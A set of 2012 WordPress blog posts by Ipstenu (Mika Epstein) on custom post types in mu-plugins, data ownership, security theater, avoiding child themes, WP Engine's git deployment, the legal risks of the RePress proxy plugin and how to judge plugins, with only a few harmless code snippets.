The code itself is split into two sections. I learned this method from Justin Tadlock, who has a nice, if very techy, primer on [Custom Post Types in WordPress](http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress). I freely admit, once I figured this code out, I saved it off line and copy/paste it where I need, replacing the terms (Drawing/s) for what the new CPT is.
```
```
Looking at this, it’s actually surprisingly straightforward what I’m adding and where. The weird code of `$domain` is a variable I’ve defined elsewhere, and lets me translate if I need to. I probably won’t but it’s a good practice to get into. By splitting out my labels into their own variable, I’m able to break them up and make it more readable. As Otto says, good code doesn’t need inline documentation becuase it’s readable. You can see the names, and the fields, I’m adding, and they magically become self-explanatory. Then in my drawing arguments, I again make a variable with the settings. Pull in the complex labels, then I can break out the next arguments into something readable.
You can read all the various options in the codex article for [register\_post\_type()](http://codex.wordpress.org/Function_Reference/register_post_type), which is the function I finally call at the end.
If you wonder why I have the whole thing wrapped in an action, it’s becuase in other places I actually add multiple post types to a site. This lets me put them all in one action, call it once, and walk away. As long as each CPT has a label, arguments, and registration, they’ll all run.
Below that action, I have one to add my CPT to my ‘right now’ section on the dashboard. I got this from [James Laws over at WP Ninjas](http://wpninjas.net/quick-tip/add-information-to-the-right-now-dashboard-widget/), and really it’s one of my favorite things.
```
```
Taking a step back, there’s this interesting line in my arguments:
```
'taxonomies' => array( 'post_tag', 'category'),
```
All this does is say ‘I want to use post tags and categories in my CPT.’ And in this case, it’s the same ones as I use for my normal posts. You can do a lot more with it if you wanted, but I believe in KISS.
To loop back around, however, why do I put this in an mu-plugin? First and formost, it’s portable. No matter what theme I use, it comes with me. As I talk about this method in [No Children Necessary](https://halfelf.org/2012/no-children-nessecary/), it really comes into play here more than anywhere else. On a single, traditional, WP install, I just toss it in and walk away. It’s code, I don’t want my end-users playing with it, so a non-editable file is perfect. For Multisite, I really just add `if ( $blog_id == 2 ) { ... }` around the whole thing. I could do it just on the actions, but this is easier for me. I can see right away ‘Oh! Site 2.’
This is obviously not going to work for everyone, but sometimes just looking at the next option will give you a new idea.
**Categories:** How To
**Tags:** mu-plugins, multisite, website, wordpress
---
### [Owning My Data](https://halfelf.org/2012/owning-my-data/)
**Published:** July 31, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I strongly believe in owning my own data wherever possible, and being responsible for it.
**Content:**
*This post is dedicated to [Aaron Jorbin](http://aaron.jorb.in/), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). Aaron knows that haters gone hate and never lets that stop him. Also: We’ll always have schwarma.*
There is a reason people call me a Tin Foil Hat. First, I do have a small tinfoil square in my hat (as a joke) but also I have a ‘thing’ about owning my own data, which in turn has surprisingly helped my ‘SEO’ and ‘brand’ over the years.
While I often cross post links to my content on other sites like Twitter, Tumblr, Facebook, Livejournal and Google, my content primarily lives on my sites. I link back and share some content, but the content is mine and it lives with me on my sites that I pay for, maintain, and support. I really like to be in charge of my data and how it behaves. That’s why I crafted my own mailing list from WordPress and RSS2email, why I use Yourls, and pretty much why the only data I ever outsource is analytics, even though I could use my own.
Analytics is funny. I have a lot of tools on my server, but frankly they suck. If someone open sourced GA and I could install it on my server, I’d probably use that. I’ve used all the locally installed Analytics tools, and just never really been fond of the interface. Right now, I have GA on my sites and it’s actually the only Google interface I use, save ‘Webmasters’ which is just there in case I get blacklisted.
You see, I don’t trust Google. I don’t like how they, like Facebook, take all your data. I don’t like their ads which screwed me over big time last year, and I switched to Project Wonderful. I make less money, but I get to approve my ads. Google Ads hit me hard when I said I didn’t want any religious ads on my site. Suddenly my profit went from $60-100 a month to $10-20(For what it’s worth, I make the same money now on Project Wonderful and feel better about the ads.). The point of this is, the larger a company gets, the more funny rules and regulations they end up following. If you read [Jane Well’s ‘A Tale of Two Brothers’](http://jane.wordpress.com/2012/06/20/a-tale-of-two-brothers-plans-construction-and-dev-styles/) and how it relates to construction and development, basically Google started as Brother #2, and are now Brother #1. There’s a time and a place for both brothers, sometimes in the same project. And with each brother, you have a comfort level. Some people love flying by the seat of their pants. Others prefer to have a plan. Some of us just want to wear a hat. This comes into play, for me, when I consider my personal data and content.
One of the schools of thought is that social media is for being social, and your website is for complex, static, content. There is a lot of line blurring these days that didn’t exist back when we just posted on our blogs and replied to comments. Now we can leave comments, or tweet, or share, or a hundred other ways to push our information out there. We have options on how to communicate with our readers. How many of us end up responding to comments on Facebook and Twitter, as well as our blogs? It’s nearly at a point of information overload, and we don’t know *where* to post this content. There’s clearly a need to balance out your brand promotion and your brand. Will you be diluting your brand by posting all over the place? How do you drive the readers back to your site, engage them, and keep them coming back for more?
This is where you need to own your data.
Obviously it’s a good thing to post to Twitter and Facebook and Google+. These are avenues to connect with people, but you need to follow up on them. Recently I had an odd experience with hotels, where a handful tweeted me, asked for contact info to help me with ‘deals’ and never followed up, except for one, who did email me, and got me a great rate, $40 off their normal ‘low’ rate. Guess which hotel I’ll be using? What made this odder was that they said I could get better rates at their website than at places like Kayak or Orbitz. We all know the pain of a hotel is finding one and comparing prices, right? Travelocity and Orbitz said $167, Kayak said $199. I ended up getting $167 but through the company’s website directly. They cleverly both played the system (getting two of the three sites to show accurate prices) and offering the same deal on theirs. By owning their data and content, and letting these other sites feed into their site, they’ve won. They communicated, they contacted, and they put up accurate information that led me back to their site where, indeed, they made a sale (and the likelihood for a repeat visitor).
Owning your data is controlling your presence. It’s not just remembering not to post that awesome information in just one place, it’s knowing how to ensure that your face is seen, the content is shared, and in no way does it misrepresent you. That last one is why I like to use my own short URLs, and why I dislike Facebook and Google. Think about the advertising on Facebook and Google (and now Twitter). You don’t get to say ‘Never show people ads for things I find reprehensible or scammy.’
[](https://halfelf.org/2012/owning-my-data/screen-shot-2012-07-04-at-4-jul-5-29-32-pm/)Weather.com AdsPersonally I think the world would be better if every company said ‘No more get rich quick ads, or ‘With this one secret tip…’ or outright scams.’ Weather.com is notorious for this. Looking at the ad I screencapped, you can see things that no one in their right mind would click on. And yet these things clearly ‘sell’ or Weather.com would have scrapped them years ago. They feel the trade off between ugly, scammy ads and free content is fair, so they show the ads.
There are times when not owning your data is alright, but generally those run towards sharing your social media and any analytics. I mentioned analytics before. It’s not just that I don’t like any of the tools I could install on my server, it’s that Google does it better. There are multiple layers I can peel through, and if you’re an analytic junkie, that’s what you want to use.
Any time you come to a place where you have to decide between owning your own data and letting someone else be the master of your domain, I strongly lean towards self-ownership.
**Categories:** How It Is
**Tags:** essay, freedom, website
---
### [The Perception of Security](https://halfelf.org/2012/the-perception-of-security/)
**Published:** July 26, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** An expanded set of thoughts about what makes security.
**Content:**
*This post is dedicated to [Frederick Townes](http://www.fredericktownes.com/), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). I use his rock ’em sock ’em W3TC plugin on this site, as it happens.*
The TSA is a funny thing. They make us go through all these hoops and ladders to make it look like we’re safer. They check us for weapons, they check us for bombs in our shoes, and essentially they check for everything they know about. And we call it ‘Security Theater’ because it actually doesn’t make us one inch safer.(If you’re really interested, go read [Bruce Schenier](http://www.schneier.com/)‘s books. The security methods in place pre-9/11 are the ones that have caught the bad guys. None of the new stuff has.)
At work, I have a product from a vendor that has pretty insecure passwords. I can’t make them expire, I can’t make them require special characters. In fact, you can pick a blank password if you want. There’s no security and most people use the same password (123456) because of it. It was up to me to invent something more secure, and I sat and studied the login form for the app. This was a locked down product, so hooks and actions, like we use in web apps, were unknown. But there was a hidden option, down in the bowels of an ini file, that was for ‘advanced username options.’
Unlocking that option gave me rules for usernames, just like you’d think. But how is that going to make things safer? We already used login ids of our initials plus a number, so if I could leverage that somehow, maybe I could do something. My idea was that if the login name was always pre-filled, and uneditable, with the same ID you logged into the computer with, then in order to ‘hack’ into someone’s account, they would either need their LDAP password, or the person would leave their PC unlocked. I thought it was genius, and after some fiddling around, found how to extend the settings to allow that.
Months later, the Auditors come around and say it’s not secure enough. We need to change the passwords more often. *Even though* the desktop password is the most secure of all passwords we use, and *even though* leaving your PC unlocked is a fireable offense, they said that since someone could gain access to your PC, the bad password was a problem. I remarked that they had a lot more to worry about in that case, and pointed out the vendor didn’t have a fix. They’re still arguing that one.
The problem is the auditors want to be able to feel safer. They know and understand LDAP security, ergo all things must comply. It is a benchmark of safety which, in many cases, isn’t going to make things safer. If you got my LDAP password, you now have access to everything I log into at work. That isn’t safe at all, is it? It’s a single point of failure.
Recently, someone asked why WordPress doesn’t let you move the wp-admin folder around, and that doing so would be safer. Actually they accused WordPress of being egotistic for not letting you move the folder, and for putting meta info in the source code. But let’s not get into where they’re wrong on that end. Why *doesn’t* WordPress let you move wp-admin? Certainly they could put the effort into decoupling the various places where it’s hard coded, put in a define you could override, just like we do for [wp-content](http://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content). Then you could move it where ever and you’d be happy. I cannot speak for the developers, but looking at the code (not insurmountable, just annoying), I see it as security theater.
Moving the wp-admin folder simply cannot make your site safer. It just can’t. Look at it logically, you still have to be able to get the folder, ergo people will still be able to figure it out. The rule of the web has always been ‘If it’s on the web, people will take it.’ Normally this applies to pictures and text, but when we extrapolate it to include source code, like for open source code, which is there for the taking, we reach a point where anyone can look at WordPress’s code and determine how to quickly figure out where the admin folder has been moved to. We have now put in extra work for a very teeny tiny benefit, that can easily be circumvented.
But isn’t that benefit worth it? Not when you look at the costs. Computers do what we tell them to, every time, every day, repeatably. When we go in and complicate our code, we introduce more human errors. The more possibility for errors, the more likelihood that we’ve missed something. So by adding in a way to move wp-admin, we run the risk of screwing it up and making things less secure. Would you rather have the brains staring down WordPress and trying to make things actually more secure, like by preventing XSS vulnerabilities, or locking down nonces and cookies, or would you like them to make you feel better?
Furthermore, there are the themes and plugins to consider. Now we have to update all our themes and plugins that are `doing_it_wrong()` in the first place, and get them to join the new world order of right. Yes, they should have done things right in the first place, but some don’t because the old way still works. What happens when they don’t update? We’ll have to leave some deprecated code in there so the old wp-admin still works and … oh. Well that didn’t do you any good, now, did it?(NB. I’m certain there is a way to do this. I just don’t care enough to verify it, as you’ll see in a moment.)
This has everything to do with the fact that open source software is open source, and ‘hiding’ anything means it’s always going to be easily reverse un-hidden. Moving wp-admin is called ‘Security by Obscurity’ and it’s a waste of time. It’s just not effectual in the long run, it doesn’t protect anything, and the only time someone knowing my WP version or where it was installed would worry me is if I didn’t upgrade and there was a known hack on the older versions. Even then, Hackers will just try the same attack even if I’m protected ([which I know from the TimThumb debacle, where my server was scanned for the file exploit](https://halfelf.org/2012/dosddos-you/ "DoS/DDoS and You") – I don’t use timthumb, but they scanned me all the same).
When you make me draw the line between where I’d want ‘my’ developers spending time, and the options are ‘feel good security’ and ‘make the damn product actually more secure’ … I think you know where I stand.
What about you? What aspects of ‘security’ do you feel are just window dressing?
**Categories:** How It Is
**Tags:** coding, essay, wordpress
---
### [No Children Necessary](https://halfelf.org/2012/no-children-nessecary/)
**Published:** July 19, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I use surprisingly few child themes these days, because most of what I want to do can be done in widgets, css, or a mu-plugin.
**Content:**
*This post is dedicated to [Michael Fields](http://wordpress.mfields.org/), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). I envy him his Portland.*
Not all of my sites use child themes. In fact, most of them don’t. I work on about 20 WordPress sites and of them I have five child themes, one of which is an unedited child from the theme dev. Even when I have custom-post-types, I rarely need to mess with a child theme, unless it’s needing a special template or page design. That means that *most* of my child themes are a style sheet, a functions file, and one or two new pages. When I do have to make a child theme, I do my best to make it reusable as much as possible. I have the same child theme on two sites, but they look nothing alike.
But generally, when someone tells me they need to edit a theme, I tell them [how to make a child theme](https://halfelf.org/2010/child-themes-learn-them-love-them/ "Child Themes – Learn them, love them"), which I fully endorse, but also to step back. Do you *really* need a child theme? See most people make a child theme to customize their site, and since that’s pretty much what they were invented for, it shouldn’t be a bad thing. But sometimes people are using a child theme for the wrong thing and they ignore all the built-in ways to customize a theme.
The only reason you need to use a child theme is when you have to add a new template, or replace one that cannot be hooked into.
That’s *it*.
Before we get into this, I’m going to point out that if you are using a Theme Framework, this is not for you. A theme framework is something designed for you to build a child theme off of. This post is for people who use TwentyEleven and want to make it a little special, or even a lot special, because most of what you want to do is something in CSS anyway. Yes, I did just say most of what you’re doing with a child theme can be done with CSS. The rest of it can usually be done with widgets, and after that there are some plugins to help you out.
Ready to customize your theme without a child theme? Here we go.
**Themes Have Options**
It’s 2012, and the majority of themes have options. Some have too many, but pretty much every theme has *some* options. The default theme has some basic options. People may call them simple, but these options are huge to make your site just a *little* different. A single column, no sidebar, TwentyEleven is automatically a different feel than the generic sidebar site. It puts the concentration on your content, which is king, and pulls it back to the importance of it. If you’re running a documentation or essay site, that’s what you want. Most themes also have header options, to pick your text, color, and image, as well as background images and colors. The new theme customizer lets you actually do almost all of that in one go, making it even easier.
Remember. All cars have wheels, windows, and doors: it’s how they’re arranged and styled that attract most people.
I know I said I wasn’t going to mention Theme Frameworks, but themes like Genesis, and even ones like Hybrid, often build their themes with powerful options that let you use them without having to make your own functions files. More on how you don’t need that later.
**It’s just CSS**
Most of what people want to change is CSS. I said it before, I’ll say it again. If you want to change the color of your site, and it’s not included in the theme options, you want to end your CSS. But how, I hear you ask, without a child theme? [WordPress.com Custom CSS](http://wordpress.org/extend/plugins/safecss/) (aka Safe CSS) will let you edit your site’s CSS without making a child theme. You can’t use all CSS, there are some moz-radius things that don’t seem to work, but other than that, you can totally change up your site.
CSS is more than just colors. CSS can format your text, move your divs, and completely customize your layout, all with just a few lines. Change the one column from a skinny one to a fat one, indent your paragraphs, and add whitespace to your header without any text. Everything can be moved.
**Neglect not your menus**
Customize your menus. [You can add images and styles to your menus](http://wpgarage.com/css/how-to-add-images-and-styles-to-the-wordpress-custom-menu/), and you should to make them look like anything you want. Yes, this goes back to CSS, but you’d be amazing how many people just leave them alone. First, remember to customize your menu to look like anything except that list of pages. Change it up right away, and then add in design and style to stand out. The menu is supposed to catch your reader’s attention and direct them where you want to go. Don’t slack off.
**Widgets, Widgets, Widgets, Widgets, Widgets, Widgets, yeah!**
Do not ignore the power of your widgets. Your widgets control your sidebars in most sites, but also your footers. People think of them as just a way to toss in twitter and search. You can use the amazing, incredible [Widget Logic](http://wordpress.org/extend/plugins/widget-logic/) to control when and where a widget shows, to make different pages show different information. An alternative, if you’re really good at php, is the impressive [PHP Code Widget](http://wordpress.org/extend/plugins/php-code-widget/), which will let you put any PHP in widget and customize it on it’s own.
The most powerful widget in your arsenal, however, is the *text* widget. Text drives your site in so many ways, a simple text widget can hold any information, from contact information to a haiku. You can put anything in a text widget, HTML, inline CSS, your special code. Text is insanely powerful and you shouldn’t forget it.
Want to use shortcodes in your widgets? We can do that too with two lines of code:
```
add_filter( 'widget_text', 'shortcode_unautop');
add_filter( 'widget_text', 'do_shortcode', 11);
```
Normally this would go in your functions.php in your theme, but hang on, we’ll get to where to put that in a minute.
**Conjunction Junction, Don’t Use Functions**
Here’s where a lot of people demand they have to use a child theme. They need to add in functions, like the overriding filters and actions in their parent theme. I very, very, rarely use a functions.php file in any child theme, because I hate having to replace them if I ever switch themes. Instead, I make use of *[mu-plugins](https://halfelf.org/2012/mu-plugins-are-good/ "mu-plugins: What is it good for?")*.
Generally I end up with three files:
`customposttypes.phpfunctions.phpthemename.php`
Obviously, the first one is for my Custom Post Types. They all live there happily. The second is for anything and everything I’d put in that theme function file. It’s important for me to keep the general functions separate from the theme specific ones, however. In fact, [while I originally said I made a ‘subchild’ theme for Genesis’ Balance theme](https://halfelf.org/2012/new-car-smell-2/ "Giving WordPress That New Car Smell (Part 2)"), I’m now using the CSS (mentioned above, SafeCSS), and two MU plugins: ipstenu-functions.php and ipstenu-balance.php. That’s right, all my tweaks, everything I did, are there. I’ve done the same for this domain, and all other sites *except* for photos. Why? Photos has a CPT that needs a custom template.
On subsites of a network, I wrap my mu-plugin with `if ( $blog_id == 2 ) { ... }` to ensure it only gets called on that subsite. For the theme, `$theme_name = get_current_theme();` and `if ( $theme_name == 'Origin' ) { ... }` within. Be careful, the theme name is the name, not the slug, so ‘Balance Child Theme’ and not ‘balance’ is what you want. Even straight up theme related actions like `add_action('genesis_before_footer', 'ipstenu_before_footer');` work without a hitch. That leaves me with (at most) three ‘plugins’ for each site, and usually not even one. If I wanted to be really lazy with Genesis, I could do most of it internal with a plugin to do it on the dashboard instead.
**You can do it all without children**
Really the point is that of all the children theme possibilities on this network, the only one that exists is the one that needed it’s own special template. I certainly wouldn’t do this for all sites, but once you pull all the theme specific data out of your functions file, there’s often very little left. When you *can* do this, you retain a little extra flexibility in that your changes are easy to swap out between themes.
At the end of the day, it doesn’t make things easier or harder, just different.
Put all your non-theme-specific changes into a mu-plugin. Put your CPTs into another. See what’s left. You may be surprised.
**Categories:** How To
**Tags:** mu-plugins, themes, wordpress
---
### [Forever Alone No More](https://halfelf.org/2012/forever-alone-no-more/)
**Published:** July 24, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How about using version control on your website, just like the big boys? You can do that on WP Engine without rolling your own.
**Content:**
A lot of us work on projects by ourselves. We’re the ones who build a website, alone. We write a plugin, again alone. When we do colaborate with others in the making of our site and codes, it’s often a cumbersome, kludgy, thing at best. The advent of code management systems like SVN and GIT make the actually coding process easier. Now multiple people can make changes, branch and fork, merge and combine to fix all sorts of problems.
But web-development, for your personal site, is still in the dark ages.
Here’s my workfolow:
- Review changes
- Open Coda2
- Edit file
- Preview changes
- Push file
Now that’s a huge improvement since the old days, when I would edit, FTP, and so on. I still use Transmit to run a sync/backup every day before I start editing any files, but that just goes back to my paranoia. It gets harder when you use something like WordPress, because the old days of being able to easily preview your site and how it looks doesn’t exist anymore. That’s part of why the totally incredible Theme Customizer is totally incredible.
It’s also a little problematic if you share a site. Let’s face it, maintaining a website with other people is a pain. When my fellow site-folk want a small change, they can make it, but I have no way to easily roll that back without comparing my personal backup with the new one, and go make a diff. Sure I can do it, but it takes time, and it’s a hassle. A lot of the time, too, my fellow admins aren’t as good at certain things (like CSS, or tables, or PHP) as I am, and I have to bail them out. In and of itself, that’s okay. It’s why they keep me around and fee me brownies, after all.
Have you ever had someone else make a change while you’re on vacation and call you in a panic, even though you’re on Bora Bora and have no internet, because this ‘one small tweak’ to the sidebar caused the site to go white, and they closed their file-editor, so they can’t control-z?
A lot of us cowboy code. I sure do. I’m often banging away on my sites in vi when I want to make a fast CSS change. Clearly sustainable for a professional environment, this is not.
But… What if? What if you had a way to update the code on your site, like your personal mu-plugins or the theme, and make the changes ‘live’ but still have a way to roll back when you accidentally blow it all up?
And what if I told you that a WP dedicated host has an answer. Yeah, [WP Engine](http://wpengine.com/) figured it out.
Upfront disclosure: I *don’t* use WP Engine. I have a lot of non-WP sites on my servers, and many of my sites aren’t using just WP. I have a VPS and I’m very happy with it. But if you want a good host to run your WordPress site that’s the step between your own VPS and WordPress.com, I strongly recommend them. Yes, it’s more expensive than many other hosts, but I am a firm believer in ‘You get what you pay for.’ With WP Engine you get hosting, upgrades, backups, and support for $30 a month. And now you also get Git. They’ve come up with a Git-push-to-deploy method for their hosting platform.
Did that sound like gobbledygook? Hang on. This actually isn’t something ‘new,’ as the technology’s been around for a while, but this is something new for webhosting and WordPress hosting. WP Engine’s applied it to their servers, making version control possible. It’s like how we’ve always combined version control and staging to make a ‘development platform’ and now you get that in WP.
Okay, if you’re like me, and a total raw rookie at Git, you sat here and went ‘What the hell is this ‘push to deploy’ stuff?’
At it’s heart, push-to-deploy and push-to-live is really a fancy, buzz-wordy way of saying this: *I have a git branch that is the dedicated to my site version of my code. If I edit that branch by pushing my changes to it, I have created a version-controlled update of my site, which is beneficial in case you need to roll back a change, or pin-point a specific change.*
Okay, maybe that’s still unclear. You’re going to have to take a look at [git.wpengine.com](http://git.wpengine.com) to really see how they’re applying the technology. Git, like SVN, is one of those things that makes a lot more sense once you sit down and use it a few times.
Really, my biggest hurdle is always wrapping my head around git’s application of branches and merging and a decentralized database. It’s complex and powerful. Vincent Driessen wrote a brilliant explanation of [a successful Git branching model](http://nvie.com/posts/a-successful-git-branching-model/), complete with diagrams, that explains all this way better than I could. His examples will show you exactly what’s going on, and that a ‘push to deploy’ is really just another sneaky way of using git to manage your changes in a controlled way.
Don’t get the wrong idea. There’s nothing wrong with being sneaky to control all this, when you get down to it! It’s the perfect-world a lot of teams have been looking for, for many years. Having this built into your webhost, so you don’t have to come up with your own solution, is going to be amazing for small companies that will, over time, have a slew of developers. Someone new comes along? Hand them your primer on naming conventions and merge rules, let them fetch the repository, and off they go. Everything is right there, as safe as your backups.
I can’t say if this will revolutionize things, but it’s a harbinger of change which web dev has sorely needed.
Check out [WP Engine’s Git FAQ](http://git.wpengine.com/faq/) (where they explain all the nitty gritty about handling version control, so if you’re a nutjob like me and want to run aortic, you can), or just read their [getting started](http://git.wpengine.com/getting-started/) guide. The directions are clear enough for a Git newbie like me to understand.
Unlike Capistrano or RAMP, this hasn’t been released outside of WP Engine, but that makes sense as it’s all homegrown and built to their servers. This should be interesting to watch how other WP (and non WP) managed hosts handle the next wave of support.
Related:
- [WP Engine: Announcement](http://wpengine.com/2012/07/wp-engine-announces-git-push-to-deploy-integrates-version-control-with-wordpress/)
- [WPCandy: WP Engine launches seamless integration with git](http://wpcandy.com/reports/wpengine-git-integration)
**Categories:** How It Works
**Tags:** coding, open source, wordpress
---
### [The Dangers of Being Uneducated](https://halfelf.org/2012/dangers-of-uneducated/)
**Published:** July 17, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you don't know what you're doing, you're gonna have a bad time. Take the time to learn first. I hear all the cool kids are doing it.
**Content:**
*This post is dedicated to [Rachel Baker](http://rachelbaker.me/), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). In lieu of Coke (and a sincere promise of no heckling), thank you, Rachel.*
Like many of these posts, it started with a tweet.
Just six months ago, a WordPress plugin named [RePress](http://all4xs.net/), hosted by all4xs, came on the scene. This **is** hosted at WordPress.org, see [WordPress Plugin – RePress](http://wordpress.org/extend/plugins/repress/), and at the time it showed up, I was seriously worried about it.
The plugin itself is made of awesome. It’s a proxy service, so if you happen to live in a place where freedom of speech is an unknown quality, you can use your site to serve up pages from other domains and read them, even if they’re blocked. Essentially, instead of going directly to wikipedia.org, you go to yourdomain.com/wikipedia.org, and the content from Wikipedia is requested by your *server*, not your local IP, so if your ISP is blocking the content, you can still see it. If you’re visual, it’s like this:
[](http://wordpress.org/extend/plugins/repress/)
This relies on two important pieces to work, however. First, whereever your site is hosted has to have access to where you’re trying to get (that is, if my webhost blocked Wikipedia, this won’t work). Second, you need to know what you’re doing.
It’s that second point that worries me to no end.
Look, I firmly believe in freedom of information. Once something has been invented, people are going to figure it out, so giving it to the world to improve upon it is sensible. Patents are just a weird concept to me. To say ‘I invented a thing, and no one else can invent the same thing, and you can only use the thing as I’ve made it!’ just blows my mind. We need to crowdsource our intelligence, share, and improve. It’s the only way to evolve.
But that’s besides the point. The point is I worry like you don’t know about people being uneducated as to what this plugin does. Regardless of if it’s a good idea or not, it’s a *dangerous* thing because it has a great deal of power.
I have a slightly selfish reason for worrying about it. I work for a company where using a proxy to get to websites they’ve blocked is grounds for being fired. *I’m not the only person who has this concern.* The worst part about this is if I went to a site that used a proxy, without telling me, I could get ‘caught’ and fired. Oh sure, I could argue ‘I didn’t know!’ but the fact remains that my job is in jeopardy. This is part of why I hate short-links I can’t trace back. A proxy being ‘right’ or ‘wrong’ doesn’t matter, what matters is the contract I signed that says I will not circumvent the office firewall knowingly. Now I have to be even more careful with every link I click, but the uneducated who don’t know anything about this are at a huge risk.
As Otto would say, we worry about the evil people, the ones who use this proxy to send you to virus infected sites, or places they could hack you. I really *don’t* worry about them very much. Evil is evil, and people are always going to be malicious. They know what these plugins do and how to use them, so again, my fear is for the uneducated who *don’t* understand. The people who still open those attachments from usps.com are the people who will be hurt by this. The rest of us will just deal with ‘You work on computers? Mine’s acting funny, can you look at it?’
My main fear is for the people who don’t really understand how the plugin is dangerous to have on their own site. RePress, in order to prove that their plugin worked, hosted a proxy to The Pirate Bay, a popular torrent site. Near the end of June, [BREIN told them to remove the proxy to The Pirate Bay](http://torrentfreak.com/webhost-refuses-to-censor-its-own-pirate-bay-anti-censorship-tool-120630/). BREIN, to those of you who are wondering who they are, is the RIAA of the Netherlands. Essentially they’re a Dutch anti-piracy group, and they think that the proxy service to Pirate Bay is breaking the law. It may be. [Greenhost](http://greenhost.nl/), the hosting company behind RePress, and their webhost, is in the Netherlands, and it does fall under that law.(It’s nearly impossible to keep up with all this, but Wikipedia has a nice list of [everyone who’s blocking The Pirate Bay, and their status](http://en.wikipedia.org/wiki/The_Pirate_Bay#Blocking). That’s a real Wikipedia link. In the US, so far only Facebook and Microsoft will edit your links to The Pirate Bay, and only on their services.) As of July 9th, [all4xs/Greenhost lost the argument](http://torrentfreak.com/court-shuts-down-wordpress-based-pirate-bay-proxy-120709/). A court order came in and now there is no more hosting on their site.
It’s important to understand this Court order *only* impacts the proxies at Greenhost. There is no action against the plugin itself, and none at any other website using it.
So why does it worry me?
I do a lot of forum support, and I can easily envision people getting cease-and-desist orders from the Courts, telling them to remove their proxies. I can see webhosts shutting down sites because they don’t want to deal with the hassle, or because their servers happen to be located in a country where the site being proxied is blocked. And without any effort at all, I can see the users, who don’t understand the risk they’re getting into by running this proxy, screaming their heads off and blaming WordPress *because they are uneducated.* They’re not stupid, and they’re not evil, they just don’t see the big picture.
It’s like when I had little sympathy for [Blogetery, when it was shut down in June of 2010](https://halfelf.org/2010/the-dangers-of-an-unchecked-multisite/). They were running an open, unchecked, Multisite, and allowed anyone in the world to make a site, and didn’t monitor their users. Thus, after multiple copyvio issues, and now a terrorism claim, Blogetery’s webhost decided enough was enough and shut them down, impacting around 14,000 people (give or take, I wasn’t able to get the number of splogs on that site sorted out). The point there is that Blogetery screwed up by not taking care of their site. It’s your responsibility to do that, and the less people know about what they’re doing, the more likely they are to screw up.
I’d be a lot happier if RePress’s plugin page explained the risks. Until they do, I give you my own:
RePress will let your server to act as a proxy to any website you chose, allowing visitors who would be otherwise blocked by their country or ISP to visit those sites. Please investigate the laws of your country, as well as those of your webhosting company, to ensure you are not violating them. Also remember to review the terms of use for your webhost, and do not provide proxy service to any site (or type of site) that you aren’t permitted to host yourself. If your hosting company doesn’t permit porn, don’t proxy a porn site. While this plugin makes every effort to prevent cross-site scripting, you are expected to monitor the sites you proxy and be aware of their intention. Remember: If you put it on your server, *you* are responsible for what it does.
(If RePress wants to copy that and use it as is, or edit it, they have my permission to do so. And they don’t even need to credit me if they don’t want to.)
**Categories:** How It Is
**Tags:** essay, freedom, open source, privacy, risk, wordpress
---
### [Art History of Plugins](https://halfelf.org/2012/art-history-plugins/)
**Published:** July 9, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How an art history lesson will help you be a better judge of what plugins are safe(r) to install on your WordPress site.
**Content:**
*This post is dedicated to [Lisa Sabin Wilson](http://lisasabin-wilson.com/), who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). Lisa is to documentation what I am to the forums, and encourages me to write better (though she probably didn’t know that).*
Quite often people suggest that we ‘weigh’ the usefulness of plugins and themes in the WordPress repository differently. Some want to use star ratings, other popularity, and others compatibility of WordPress Versions.
Invariably, if I get roped into these discussions, I say ‘None of it maters more than the rest.’ And people always argue that their chosen method is the best. No one has ever succeeded in convincing me they’re right and, I’m pretty sure, no one ever will.
The reason I’m so sure about that is the same reason we don’t just buy cars based on the tire size, or a house based on a bathroom. It’s the reason we research and compare, study and inspect, and ask our friends. It’s because we know to look at the big picture.
Let’s look at [A Sunday Afternoon on the Island of La Grande Jatte](http://en.wikipedia.org/wiki/A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte). From afar, it’s simple. A painting of people on the island. But if you walk up to the painting (it lives in Chicago, I love visiting it) you’ll see Seurat painted entirely by dots! As you step in and out, the painting changes and your perspective and understanding of the work as a whole changes. You cannot simply say ‘There is blue paint.’ and make your final decision that this painting will look nice against a blue wall. You have to consider how it will look up close, far away, and will it be better to blend or contrast. Seurat liked the contrast, which is why it has a brown border and a white frame.
The small moments, those dots, make up the whole of the piece and you have to consider everything that went into it, if you want to understand the painting. Anyone can look at if from afar and say ‘Yeah, nice.’ But when you start looking at the work, and the layers of meaning, you see things differently. With art, that’s the point. Sometimes a painting is just a painting, and sometimes a story is just a story, but more often than not, the ‘deeper meaning’ your teachers were after you to get from a story is simple: Look at the whole story. Look at how each character’s actions become a part of the whole.
This relates, directly, to understanding plugins. At heart the question people are asking is simple: *How do I know which plugin is the best to use for this situation?*
You can’t just take one and say ‘This is compatible with 3.4, therefore it is superior!’ I wish you could, my life would be easier. Instead, you must learn how to review plugins critically. Don’t throw your hands in the air, you don’t need to know code to do this. You do need to know what you want, and you need to read and pay attention, but at this point, if you’re still reading this blog post, you know how to do those.
The secret magic, which I talk about in [WordPress Multisite 110](https://halfelf.org/ebooks/wordpress-multisite-110/) (Chapter 6: Security, Plugins, pg 36), is to review all components of a plugin’s information. You have to look at how all the little dots make up the whole picture — that’s why we talked about Seurat — and use those to understand how likely a plugin is to be safe to use.
**Who wrote it?** If I see a plugin written by someone I’m familiar with, I’m more inclined to trust their work. I already know how to get in touch with the developer if something goes wrong, and we have a rapport. Second to that is if they work on WordPress core. If they have commit access, I trust them (even Otto, who’s broken the site before). If they’re a regular contributor, it’s much the same. However this is not ‘common’ information. It’s easy to find, but it’s not something everyone knows off the top of their head. You can quickly search trac for their user name. I find it easier to limit the search by changesets, so here’s a search for [wpmuguru’s credits in changesets](http://core.trac.wordpress.org/search?q=wpmuguru&noquickjump=1&changeset=on). Yeah, looks like a trustworthy fellow!
